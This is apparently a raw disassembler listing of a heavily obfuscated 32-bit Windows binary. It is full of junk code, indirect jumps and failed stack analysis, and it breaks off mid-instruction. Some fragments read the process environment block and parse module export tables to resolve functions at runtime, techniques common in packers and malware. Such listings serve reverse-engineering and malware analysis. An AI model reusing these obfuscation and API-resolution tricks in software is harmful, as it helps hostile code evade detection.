[00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A59B loc_42BBAE: ; CODE XREF: sub_42A59B+8j jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_42A59B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8E3 loc_42BBB4: ; CODE XREF: sub_42B8E3+3j jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42B8E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42BBB9: ; CODE XREF: sub_42C486-4BEBj jmp loc_42974D ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42BBBE: ; CODE XREF: sub_42E9E8-8A47j jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42BBC3: ; CODE XREF: sub_429165+3j jns sub_424D63 add esp, 0FFFFFED8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424EFF ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42BBDA: ; CODE XREF: wto1jq8f:004291F0j jz loc_42BFC2 pop esi add edi, 8FE7E4C4h or esi, ebp cdq jmp loc_42BFBC ; --------------------------------------------------------------------------- loc_42BBEF: ; DATA XREF: wto1jq8f:0042CC34o mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx call sub_426806 loc_42BC02: ; DATA XREF: wto1jq8f:00429F00o add edi, 51DD4617h xchg edi, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- loc_42BC10: ; DATA XREF: sub_426144:loc_428323o mov eax, large fs:30h add eax, 54h mov eax, [eax] or eax, eax jz loc_424294 pop large dword ptr fs:0 add esp, 4 jmp loc_42CE64 ; --------------------------------------------------------------------------- loc_42BC33: ; CODE XREF: wto1jq8f:0042A752j jz loc_427788 ror ebx, 13h and esi, 0A8F58BE3h push 0A5D89ABBh jmp loc_42A98B ; --------------------------------------------------------------------------- adc edi, edx push eax jmp sub_4287D0 ; --------------------------------------------------------------------------- mov [edx], edi jmp sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42BC5B: ; CODE XREF: sub_426D4F+42C4j and edi, 73385FD2h loc_42BC61: ; CODE XREF: sub_426D4F:loc_42EDA3j call sub_424585 mov edx, 3CC6743Ch call sub_429165 jmp loc_42C590 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42BC75: ; CODE XREF: sub_429BFF+1DA4j jge loc_42CFB7 cdq jmp loc_42D633 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AFCD loc_42BC81: ; CODE XREF: sub_42AFCD+14j push offset loc_42F41A jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_42AFCD ; =============== S U B R O U T I N E ======================================= sub_42BC8B proc near ; DATA XREF: sub_42AE5E+2485o pop ebp retn 4 sub_42BC8B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42BC8F: ; CODE XREF: sub_42CB36:loc_4246E0j ; wto1jq8f:00426670j ... mov edx, [esp+0] mov al, 1 call edx jmp loc_42EB9E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BC9B proc near ; DATA XREF: sub_42D13F+1o var_4 = dword ptr -4 mov ebp, esp pushf mov [esp+4+var_4], ecx mov [ebp+var_4], eax call sub_42708B call sub_42885C jmp loc_4275F0 sub_42BC9B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42BCB3: ; CODE XREF: sub_429D2E:loc_42A0FDj xchg eax, [ebp+0] jmp loc_4261A6 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- loc_42BCBB: ; CODE XREF: wto1jq8f:00426B9Fj mov eax, ebp xchg eax, [esp] mov ebp, esp push edx push ecx push eax call sub_42E3FD ; START OF FUNCTION CHUNK FOR sub_427143 loc_42BCCA: ; CODE XREF: sub_427143+593Aj jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42BCCF: ; CODE XREF: sub_4293FF:loc_42DC85j jnz loc_4285DA jmp loc_42EC5E ; END OF FUNCTION CHUNK FOR sub_4293FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42BCDB: ; CODE XREF: sub_42A6CD:loc_42957Cj jo loc_425AD0 jp loc_42E7A3 sub ebx, ebp jmp loc_42C8ED ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- loc_42BCEE: ; CODE XREF: wto1jq8f:loc_427086j mov eax, [ecx] sbb edx, ecx jmp loc_42BDCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42BCF7: ; CODE XREF: sub_42AA68:loc_428620j push esi push 0F0E26C73h loc_42BCFD: ; CODE XREF: wto1jq8f:00428AD9j pop esi xor esi, 4959F193h add esi, ebp add esi, 46446218h mov [esi], eax pop esi jmp loc_42FCC1 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42BD14: ; CODE XREF: sub_42506F:loc_4246C5j inc dword ptr [ebp-8] push offset sub_42D9FC jmp loc_427911 ; END OF FUNCTION CHUNK FOR sub_42506F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42BD22: ; CODE XREF: sub_42EFB5-191Dj jmp loc_42D93C ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42BD27: ; CODE XREF: sub_424585+5B0Dj jmp loc_42A3D0 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42885C loc_42BD2C: ; CODE XREF: sub_42885C+Bj jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_42885C ; =============== S U B R O U T I N E ======================================= sub_42BD31 proc near ; DATA XREF: wto1jq8f:0042DB71o var_4 = dword ptr -4 mov esi, eax pushf push 9A94F117h pop eax and eax, 13DAB84Eh add eax, 0EDB1F50Eh xchg eax, [esp+4+var_4] retn sub_42BD31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42BD4A: ; CODE XREF: wto1jq8f:0042CEF0j jmp loc_424E2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42BD4F: ; CODE XREF: sub_428AC6+Ej jmp loc_42E250 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- loc_42BD54: ; DATA XREF: sub_42D397-189Ao jnz loc_42443C lea edx, [ebp-14h] mov eax, offset dword_425924 call sub_42A56D jmp loc_42BA96 ; --------------------------------------------------------------------------- loc_42BD6C: ; DATA XREF: sub_429017o xchg eax, [esp] mov eax, [esp] rol eax, 1Ah mov ds:dword_429088, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_42BD7C: ; CODE XREF: sub_42414C+BD20j ror eax, 1Ah jmp loc_42E3E0 ; END OF FUNCTION CHUNK FOR sub_42414C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D67C loc_42BD85: ; CODE XREF: wto1jq8f:0042990Fj ; sub_42D67C+3j jmp sub_42D9B0 ; END OF FUNCTION CHUNK FOR sub_42D67C ; --------------------------------------------------------------------------- not edi mov [eax], edx loc_42BD8E: ; CODE XREF: wto1jq8f:loc_427CD8j jmp sub_425C5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42BD93: ; CODE XREF: sub_426535+1590j ; sub_426535:loc_42D473j lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42F4F4 ; --------------------------------------------------------------------------- loc_42BDAA: ; CODE XREF: sub_426535:loc_424934j call sub_426C0C loc_42BDAF: ; CODE XREF: sub_42C6B1+Dj push ecx mov esp, ebp loc_42BDB2: ; CODE XREF: wto1jq8f:0042DC8Ej pop ebp mov eax, ds:dword_429578 or eax, eax jnz loc_4268F1 jmp loc_429E55 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- cdq jmp loc_425986 ; --------------------------------------------------------------------------- loc_42BDCC: ; CODE XREF: wto1jq8f:0042BCF2j mov ebp, [edi] jle loc_424DAF loc_42BDD4: ; CODE XREF: wto1jq8f:loc_42A072j push 0DCB0EC76h pop eax push offset loc_428542 jmp loc_42DBF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42BDE4: ; CODE XREF: sub_42E0FD:loc_42EE7Aj or ebx, esi jmp loc_42B3EC ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- jmp loc_42B8FF ; --------------------------------------------------------------------------- pop ecx mov ebp, offset nullsub_247 call sub_426601 loc_42BDFB: ; DATA XREF: sub_4247C1+9o mov eax, [eax+0Ch] ; START OF FUNCTION CHUNK FOR sub_42FAE4 loc_42BDFE: ; CODE XREF: sub_42FAE4:loc_424995j mov eax, [eax+0Ch] ; END OF FUNCTION CHUNK FOR sub_42FAE4 ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42BE01: ; CODE XREF: sub_42DCB4:loc_424C6Dj ; sub_42DCB4:loc_42F63Aj jnz loc_42DCC6 mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_427349 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- loc_42BE16: ; CODE XREF: wto1jq8f:loc_426D94j rol ecx, 0Eh and ecx, 0FA483444h xor ecx, 11F44510h add ecx, ebp call sub_427198 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42BE2D: ; CODE XREF: wto1jq8f:loc_42E3DBj sub ebx, 7A23FF88h or ebx, 492DC23Ah push offset sub_429835 jmp locret_42BE59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_42BE43: ; CODE XREF: sub_426C04+254j add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_42E9D4 ; END OF FUNCTION CHUNK FOR sub_426C04 ; =============== S U B R O U T I N E ======================================= sub_42BE51 proc near ; CODE XREF: sub_426C04-242Ej add esp, 0FFFFFFE4h call sub_42A35F locret_42BE59: ; CODE XREF: wto1jq8f:0042BE3Ej retn sub_42BE51 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A97 loc_42BE5A: ; CODE XREF: sub_426A97+8j push offset sub_42F6A9 jmp nullsub_218 ; END OF FUNCTION CHUNK FOR sub_426A97 ; --------------------------------------------------------------------------- loc_42BE64: ; CODE XREF: wto1jq8f:0042EBAEj mov esi, 0FE51D58Ch ; =============== S U B R O U T I N E ======================================= sub_42BE69 proc near ; CODE XREF: sub_42D9D9:loc_42491Fp ; FUNCTION CHUNK AT 004242D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424569 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429054 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004296AB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A940 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9E7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042BA74 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C9D4 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042DBE7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E5D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FBDF SIZE 00000010 BYTES mov [esp+0], ecx pop ecx mov [ebp-1Ch], eax jo loc_42FBDF inc dword ptr [ebp-20h] jmp loc_4242D1 sub_42BE69 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42BE7E proc near ; DATA XREF: sub_4250D4+1Co ; FUNCTION CHUNK AT 0042B30B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C08E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042C1CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DC48 SIZE 00000005 BYTES push ebp mov eax, [ebp-20h] call sub_42D67C pop ecx mov [ebp-20h], eax jmp loc_42DC48 sub_42BE7E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250D4 loc_42BE90: ; CODE XREF: sub_4250D4:loc_4250E0j test byte ptr [ebp-7], 8 call sub_42D53B loc_42BE99: ; CODE XREF: sub_42DF3B+13j jmp sub_42ED32 ; END OF FUNCTION CHUNK FOR sub_4250D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42BE9E: ; CODE XREF: sub_42AA68-461j ; wto1jq8f:loc_42E456j jmp loc_428B79 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_42BEA3: ; CODE XREF: wto1jq8f:0042A2B3j jmp loc_42E4AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D322 loc_42BEA8: ; CODE XREF: sub_42D322-31DAj jmp loc_42E72F ; END OF FUNCTION CHUNK FOR sub_42D322 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426166 loc_42BEAE: ; CODE XREF: sub_426166+Fj jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_426166 ; --------------------------------------------------------------------------- test al, al jz loc_427581 jmp loc_42FB7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42BEC0: ; CODE XREF: sub_429BFF-12E1j ; wto1jq8f:loc_42B52Fj popf jmp loc_42B244 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266EF loc_42BEC6: ; CODE XREF: sub_4266EF:loc_42C6ACj mov eax, [ebp-4] push 0F7E6222Ch mov [esp+44h+var_44], eax call sub_42414C test eax, eax jmp loc_428851 ; END OF FUNCTION CHUNK FOR sub_4266EF ; --------------------------------------------------------------------------- xchg esi, ebp test edi, esi jmp loc_426800 ; --------------------------------------------------------------------------- shr edi, 11h cdq jmp sub_42669E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42BEEF: ; CODE XREF: sub_429F7D:loc_428E27j or edx, ebp jmp loc_42A722 ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= sub_42BEF6 proc near ; CODE XREF: sub_42E9E8:loc_42600Dj ; FUNCTION CHUNK AT 00424B79 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00424E2D SIZE 0000000A BYTES push ebx push 0FF2EAED3h pop ebx or ebx, ds:4000FBh add ebx, 0AE179523h sub eax, ebx pop ebx xor ecx, 0F4F7E74Ch jmp loc_424B79 sub_42BEF6 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42BF18: ; CODE XREF: sub_42F2C7:loc_429254j jz loc_42B698 jmp loc_4278F9 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- loc_42BF23: ; DATA XREF: sub_42CE80+B26o mov eax, [ebp+8] call sub_42621A ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_42BF2B: ; CODE XREF: sub_428BA9+6463j jmp loc_428B6D ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- loc_42BF30: ; CODE XREF: wto1jq8f:0042B6F4j jmp loc_4268C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42BF35: ; CODE XREF: sub_429471:loc_42C13Dj jnb loc_42D723 loc_42BF3B: ; CODE XREF: sub_429471:loc_424881j add edx, 1CE162E8h xchg edx, [esp+0] jmp loc_42F365 ; END OF FUNCTION CHUNK FOR sub_429471 ; =============== S U B R O U T I N E ======================================= sub_42BF49 proc near ; DATA XREF: sub_42D2BB-30EBo add esi, 290BAAC2h push offset loc_42EFD6 jmp nullsub_228 sub_42BF49 endp ; --------------------------------------------------------------------------- test eax, ecx jmp loc_428254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_42BF60: ; CODE XREF: sub_42C507:loc_42C2A5j mov edx, 0CF0182F6h call sub_426C04 mov ds:dword_42DB0C, eax loc_42BF6F: ; CODE XREF: sub_42CFE2:loc_424000j ; sub_42CFE2-8FC3j ... mov eax, ds:dword_42DB0C loc_42BF74: ; CODE XREF: wto1jq8f:loc_427BBEj call sub_42D765 mov esp, ebp pop ebp push ds:dword_42DB0C jmp loc_427F67 ; END OF FUNCTION CHUNK FOR sub_42C507 ; --------------------------------------------------------------------------- locret_42BF87: ; CODE XREF: wto1jq8f:loc_42E718j retn ; --------------------------------------------------------------------------- loc_42BF88: ; CODE XREF: wto1jq8f:loc_42ACD1j shr edx, 3 push 0F7B36C73h pop ecx rol ecx, 0Ah xor ecx, 0C9BFA9ACh add ecx, 0FC342EE6h jmp loc_42AC82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42BFA5: ; CODE XREF: sub_42506F+3905j push 0BC390683h pop edi xor edi, 0E76D8688h test edi, 8000000h jmp loc_42420B ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- loc_42BFBC: ; CODE XREF: wto1jq8f:0042BBEAj jnz loc_42B0D8 loc_42BFC2: ; CODE XREF: wto1jq8f:loc_42BBDAj add edx, 76BCC51Bh xchg edx, [esp] jmp loc_429588 ; --------------------------------------------------------------------------- loc_42BFD0: ; DATA XREF: wto1jq8f:00427E46o rol edx, 5 xor edx, ebp jno loc_426271 rol edx, 5 add edx, esp rol edx, 5 mov [ebp-4], edx cmp dword ptr [ebp-8], 0 jmp loc_42D1DB ; --------------------------------------------------------------------------- xchg edx, [ebp+0] rol ecx, 17h loc_42BFF5: ; CODE XREF: wto1jq8f:00428692j jmp sub_42693B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42BFFA: ; CODE XREF: sub_428AC6:loc_426941j add eax, esi pop esi add eax, 18h mov [ebp-4], eax jmp loc_42F088 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- sub edx, ecx sbb ebp, 0A5B2E82Dh jmp sub_4267AE ; --------------------------------------------------------------------------- loc_42C015: ; CODE XREF: wto1jq8f:0042F8C8j jge nullsub_71 ; =============== S U B R O U T I N E ======================================= sub_42C01B proc near ; CODE XREF: wto1jq8f:0042C2C8p xchg eax, [esp+0] pop eax push eax push 2D36C3ADh pop eax xor eax, 70E27B51h jmp loc_42C18D sub_42C01B endp ; =============== S U B R O U T I N E ======================================= sub_42C031 proc near ; CODE XREF: wto1jq8f:00428720j ; wto1jq8f:0042C9BFp ; FUNCTION CHUNK AT 00428A8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428DB1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042CB1A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042F3BB SIZE 00000005 BYTES mov [esp+0], esi pop esi lea eax, [ebp-14h] push eax call sub_42B02D jmp loc_42F3BB sub_42C031 endp ; --------------------------------------------------------------------------- loc_42C043: ; CODE XREF: wto1jq8f:0042BADBj jb loc_426F10 ; =============== S U B R O U T I N E ======================================= sub_42C049 proc near ; CODE XREF: sub_42B68E-2659p mov [esp+0], edi pop edi lea eax, [ebp-1Ch] mov dword ptr [eax], 474244h push 0 jmp loc_42AA72 sub_42C049 endp ; --------------------------------------------------------------------------- loc_42C05D: ; CODE XREF: wto1jq8f:loc_42F2E2j sub eax, 0FA9A701Ch jmp loc_42C2EF ; --------------------------------------------------------------------------- loc_42C068: ; CODE XREF: wto1jq8f:00429888j or eax, eax jnz loc_42B105 jmp loc_429342 ; =============== S U B R O U T I N E ======================================= sub_42C075 proc near ; CODE XREF: wto1jq8f:00424544j ; wto1jq8f:0042FE02p xchg eax, [esp+0] pop eax imul byte ptr [edx] push offset sub_424573 sub_42C075 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42C080: ; CODE XREF: sub_42E9E8-7224j jmp locret_42DFF6 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_42C085: ; DATA XREF: sub_42B705+13o pop ecx mov [ebp-20h], eax jmp loc_426C60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE7E loc_42C08E: ; CODE XREF: sub_42BE7E:loc_42C1CBj test byte ptr [ebp-8], 40h jz loc_426C60 jmp sub_426C53 ; END OF FUNCTION CHUNK FOR sub_42BE7E ; --------------------------------------------------------------------------- mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42EF2E jmp loc_42D963 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42621A loc_42C0AF: ; CODE XREF: sub_42621A+8j test byte ptr [eax-8], 8 setnz al call sub_426E98 pop ecx call sub_42EAED ; END OF FUNCTION CHUNK FOR sub_42621A ; =============== S U B R O U T I N E ======================================= sub_42C0C1 proc near ; CODE XREF: sub_42D69D+24FFp xchg eax, [esp+0] mov eax, [esp+0] retn sub_42C0C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FAE4 loc_42C0C8: ; CODE XREF: sub_42FAE4+13j jmp loc_4286CA ; END OF FUNCTION CHUNK FOR sub_42FAE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42C0CD: ; CODE XREF: sub_4266B1:loc_428B74j jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427218 loc_42C0D2: ; CODE XREF: sub_427218+17j jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_427218 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C0D7 proc near ; CODE XREF: sub_42A6CD-1A0Cj ; FUNCTION CHUNK AT 00426417 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042756D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004295C4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A4CC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A7BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C265 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C982 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F665 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042FEF2 SIZE 00000011 BYTES push ebp mov ebp, esp jmp loc_42C982 sub_42C0D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C0DF proc near ; CODE XREF: sub_426E98:loc_42E878p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042625C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427A25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F9DC SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0042FF8B SIZE 00000005 BYTES mov [esp+0], eax mov eax, [ebp-8] pushf mov [esp+4+var_4], ebp mov ebp, eax jmp loc_427A25 sub_42C0DF endp ; --------------------------------------------------------------------------- loc_42C0F0: ; CODE XREF: wto1jq8f:0042B95Fj jo loc_42CE7B ; =============== S U B R O U T I N E ======================================= sub_42C0F6 proc near ; CODE XREF: sub_42C486-1701p ; FUNCTION CHUNK AT 0042F8CD SIZE 00000018 BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] shr edx, 3 jmp loc_42F8CD sub_42C0F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 903B93FBh jmp sub_429BA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42604C loc_42C10F: ; CODE XREF: sub_42604C:loc_426052j call sub_428C0C loc_42C114: ; CODE XREF: sub_424BF9:loc_4268C1j call sub_424585 mov edx, 0B9726E5Ah call sub_429165 push eax jmp loc_429DF4 ; END OF FUNCTION CHUNK FOR sub_42604C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42C129: ; CODE XREF: sub_42B8FC-7049j jbe loc_42C706 popf xchg ebx, ecx jmp loc_42FD8C ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42C137: ; CODE XREF: sub_429471+1D20j cmp ebp, 2D7BDDCDh loc_42C13D: ; CODE XREF: wto1jq8f:0042FDC1j jmp loc_42BF35 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_42C142: ; CODE XREF: sub_42FBC7-19A2j test ecx, ebp jmp loc_4265AE ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; --------------------------------------------------------------------------- mov [ecx], ebx jmp sub_42EECC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42C151: ; CODE XREF: sub_427A8D:loc_42814Ej pop ebp mov eax, ds:dword_42D5FC call sub_4269FD ; END OF FUNCTION CHUNK FOR sub_427A8D ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42C15D: ; CODE XREF: sub_428A19:loc_428A35j jmp loc_42C2FC ; END OF FUNCTION CHUNK FOR sub_428A19 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42C163: ; CODE XREF: sub_428A19+16AAj jmp nullsub_162 ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42C168: ; CODE XREF: sub_429F7D-5AF1j jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C16D: ; CODE XREF: sub_426535+8F6Fj and ecx, ebx xchg edi, [ebp+0] loc_42C172: ; CODE XREF: sub_426535+1Aj ; sub_426535:loc_42728Aj ... jb loc_427EA1 cmp dword ptr [ebp-4], 4 jnz loc_42B4E8 jmp loc_42A5A8 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42C187: ; CODE XREF: sub_429459:loc_42D516j jl loc_426A33 loc_42C18D: ; CODE XREF: sub_42C01B+11j jmp loc_425C6E ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- cmp ebx, 9FDC9789h jmp loc_427C51 ; --------------------------------------------------------------------------- loc_42C19D: ; CODE XREF: wto1jq8f:0042C937j xchg ebx, [esp] retn ; --------------------------------------------------------------------------- loc_42C1A1: ; CODE XREF: wto1jq8f:0042F114j jmp loc_42AE2C ; --------------------------------------------------------------------------- loc_42C1A6: ; DATA XREF: wto1jq8f:0042C932o sub ebx, 600BAAD3h or ebx, 131C7015h xor ebx, 0DD1C6345h add ebx, ebp jmp loc_429852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42C1BF: ; CODE XREF: sub_42D53B:loc_42757Cj mov eax, [ebp-20h] call sub_42D67C pop ecx mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_42D53B ; START OF FUNCTION CHUNK FOR sub_42BE7E loc_42C1CB: ; CODE XREF: sub_42CB63:loc_4248B8j ; sub_42CB63-6B1Cj ... jns loc_42C08E jmp loc_42B30B ; END OF FUNCTION CHUNK FOR sub_42BE7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42C1D6: ; CODE XREF: sub_426144:loc_42F2B8j jnz loc_424CE8 jmp loc_424370 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42C1E1: ; CODE XREF: sub_42970D:loc_42A980j or eax, eax jnz 